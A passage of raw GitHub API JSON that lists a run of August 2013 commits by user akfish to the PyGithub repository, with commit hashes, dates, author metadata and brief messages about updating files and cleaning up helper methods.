Notification.py","tree":{"sha":"12744defe09c67111d1ce8454619db76441c74c2","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/12744defe09c67111d1ce8454619db76441c74c2"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/6cb6e8d232f84e7456c184a4cd055281bb0dba07","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb6e8d232f84e7456c184a4cd055281bb0dba07","html_url":"https://github.com/jacquev6/PyGithub/commit/6cb6e8d232f84e7456c184a4cd055281bb0dba07","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb6e8d232f84e7456c184a4cd055281bb0dba07/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"ba6800ada4213828bdb4f5d54d14e0d4c3c25c4c","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ba6800ada4213828bdb4f5d54d14e0d4c3c25c4c","html_url":"https://github.com/jacquev6/PyGithub/commit/ba6800ada4213828bdb4f5d54d14e0d4c3c25c4c"}]},{"sha":"ef912af6b79414351de245aa7a6919cad461ca50","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:01:13Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:01:13Z"},"message":"Update Organization.py","tree":{"sha":"25eb4e93c5716005647e58fc78b02258d819e3b8","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/25eb4e93c5716005647e58fc78b02258d819e3b8"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/ef912af6b79414351de245aa7a6919cad461ca50","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ef912af6b79414351de245aa7a6919cad461ca50","html_url":"https://github.com/jacquev6/PyGithub/commit/ef912af6b79414351de245aa7a6919cad461ca50","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ef912af6b79414351de245aa7a6919cad461ca50/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"6cb6e8d232f84e7456c184a4cd055281bb0dba07","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6cb6e8d232f84e7456c184a4cd055281bb0dba07","html_url":"https://github.com/jacquev6/PyGithub/commit/6cb6e8d232f84e7456c184a4cd055281bb0dba07"}]},{"sha":"0e842637a6052129b1706419a66597f419b4b2ba","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:03:41Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:03:41Z"},"message":"Update PullRequest.py","tree":{"sha":"e3ecc0ea2dd602e1eab33f6c384007cd795baa3b","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/e3ecc0ea2dd602e1eab33f6c384007cd795baa3b"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/0e842637a6052129b1706419a66597f419b4b2ba","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0e842637a6052129b1706419a66597f419b4b2ba","html_url":"https://github.com/jacquev6/PyGithub/commit/0e842637a6052129b1706419a66597f419b4b2ba","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0e842637a6052129b1706419a66597f419b4b2ba/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"ef912af6b79414351de245aa7a6919cad461ca50","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/ef912af6b79414351de245aa7a6919cad461ca50","html_url":"https://github.com/jacquev6/PyGithub/commit/ef912af6b79414351de245aa7a6919cad461ca50"}]},{"sha":"3c1d17cd649e79ff7c97d2c68daffbf6529ed969","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:13:03Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:13:03Z"},"message":"Update Repository.py","tree":{"sha":"95d2cbe17bc8a248b9a62f29bff961a4fbf9ecfe","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/95d2cbe17bc8a248b9a62f29bff961a4fbf9ecfe"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/3c1d17cd649e79ff7c97d2c68daffbf6529ed969","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3c1d17cd649e79ff7c97d2c68daffbf6529ed969","html_url":"https://github.com/jacquev6/PyGithub/commit/3c1d17cd649e79ff7c97d2c68daffbf6529ed969","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3c1d17cd649e79ff7c97d2c68daffbf6529ed969/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"0e842637a6052129b1706419a66597f419b4b2ba","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/0e842637a6052129b1706419a66597f419b4b2ba","html_url":"https://github.com/jacquev6/PyGithub/commit/0e842637a6052129b1706419a66597f419b4b2ba"}]},{"sha":"1070631c73f02e1ee6b03c55155086d33791499e","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:18:01Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:18:01Z"},"message":"Update Team.py","tree":{"sha":"0cb42345203225124267c4f866f3747b93e6277c","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/0cb42345203225124267c4f866f3747b93e6277c"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/1070631c73f02e1ee6b03c55155086d33791499e","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1070631c73f02e1ee6b03c55155086d33791499e","html_url":"https://github.com/jacquev6/PyGithub/commit/1070631c73f02e1ee6b03c55155086d33791499e","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1070631c73f02e1ee6b03c55155086d33791499e/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"3c1d17cd649e79ff7c97d2c68daffbf6529ed969","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3c1d17cd649e79ff7c97d2c68daffbf6529ed969","html_url":"https://github.com/jacquev6/PyGithub/commit/3c1d17cd649e79ff7c97d2c68daffbf6529ed969"}]},{"sha":"c4e8972be12ba249a06cd4c40499e0b32011e7f5","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:19:11Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:19:11Z"},"message":"Update UserKey.py","tree":{"sha":"dc077fcaedfee625d520412e41485893c351c150","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/dc077fcaedfee625d520412e41485893c351c150"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/c4e8972be12ba249a06cd4c40499e0b32011e7f5","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c4e8972be12ba249a06cd4c40499e0b32011e7f5","html_url":"https://github.com/jacquev6/PyGithub/commit/c4e8972be12ba249a06cd4c40499e0b32011e7f5","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c4e8972be12ba249a06cd4c40499e0b32011e7f5/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"1070631c73f02e1ee6b03c55155086d33791499e","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/1070631c73f02e1ee6b03c55155086d33791499e","html_url":"https://github.com/jacquev6/PyGithub/commit/1070631c73f02e1ee6b03c55155086d33791499e"}]},{"sha":"8a301701db354408b63273f78ece6887a1677e55","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:25:29Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:25:29Z"},"message":"Remove helper method in PaginatedList.py","tree":{"sha":"639f5560d925aa1b19e29f3eeb74c7e5f11174cc","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/639f5560d925aa1b19e29f3eeb74c7e5f11174cc"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/8a301701db354408b63273f78ece6887a1677e55","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a301701db354408b63273f78ece6887a1677e55","html_url":"https://github.com/jacquev6/PyGithub/commit/8a301701db354408b63273f78ece6887a1677e55","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a301701db354408b63273f78ece6887a1677e55/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"c4e8972be12ba249a06cd4c40499e0b32011e7f5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/c4e8972be12ba249a06cd4c40499e0b32011e7f5","html_url":"https://github.com/jacquev6/PyGithub/commit/c4e8972be12ba249a06cd4c40499e0b32011e7f5"}]},{"sha":"3f6d1b6b705de6ea9632021987e55d41875f0102","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:27:37Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:27:37Z"},"message":"Remove helper method in Legacy.py","tree":{"sha":"cdc64db71461393d95d58e89a9a0387fe5d3b447","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/cdc64db71461393d95d58e89a9a0387fe5d3b447"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/3f6d1b6b705de6ea9632021987e55d41875f0102","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3f6d1b6b705de6ea9632021987e55d41875f0102","html_url":"https://github.com/jacquev6/PyGithub/commit/3f6d1b6b705de6ea9632021987e55d41875f0102","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3f6d1b6b705de6ea9632021987e55d41875f0102/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"8a301701db354408b63273f78ece6887a1677e55","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/8a301701db354408b63273f78ece6887a1677e55","html_url":"https://github.com/jacquev6/PyGithub/commit/8a301701db354408b63273f78ece6887a1677e55"}]},{"sha":"30d9d499a1b44552ab9a28ef7317aa2098daafd7","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:32:32Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:32:32Z"},"message":"Clean up","tree":{"sha":"971191c9d4fbd001727beeeb2ff9a482b80e2b39","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/971191c9d4fbd001727beeeb2ff9a482b80e2b39"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/30d9d499a1b44552ab9a28ef7317aa2098daafd7","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/30d9d499a1b44552ab9a28ef7317aa2098daafd7","html_url":"https://github.com/jacquev6/PyGithub/commit/30d9d499a1b44552ab9a28ef7317aa2098daafd7","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/30d9d499a1b44552ab9a28ef7317aa2098daafd7/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"3f6d1b6b705de6ea9632021987e55d41875f0102","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/3f6d1b6b705de6ea9632021987e55d41875f0102","html_url":"https://github.com/jacquev6/PyGithub/commit/3f6d1b6b705de6ea9632021987e55d41875f0102"}]},{"sha":"912bec79d2dd2479e5e32118c66ee9a647b46332","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:45:01Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T09:45:01Z"},"message":"Update copyright information","tree":{"sha":"9ce5267aa0ed70277a09594a84c881e9e04da2e5","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/9ce5267aa0ed70277a09594a84c881e9e04da2e5"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/912bec79d2dd2479e5e32118c66ee9a647b46332","comment_count":0},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/912bec79d2dd2479e5e32118c66ee9a647b46332","html_url":"https://github.com/jacquev6/PyGithub/commit/912bec79d2dd2479e5e32118c66ee9a647b46332","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/912bec79d2dd2479e5e32118c66ee9a647b46332/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"committer":{"login":"akfish","id":922715,"avatar_url":"https://2.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User"},"parents":[{"sha":"30d9d499a1b44552ab9a28ef7317aa2098daafd7","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/30d9d499a1b44552ab9a28ef7317aa2098daafd7","html_url":"https://github.com/jacquev6/PyGithub/commit/30d9d499a1b44552ab9a28ef7317aa2098daafd7"}]},{"sha":"1d18ea75cce3ca6aeff03d0343e65b2f13b97f80","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T11:25:05Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T11:25:05Z"},"message":"Add debug / test 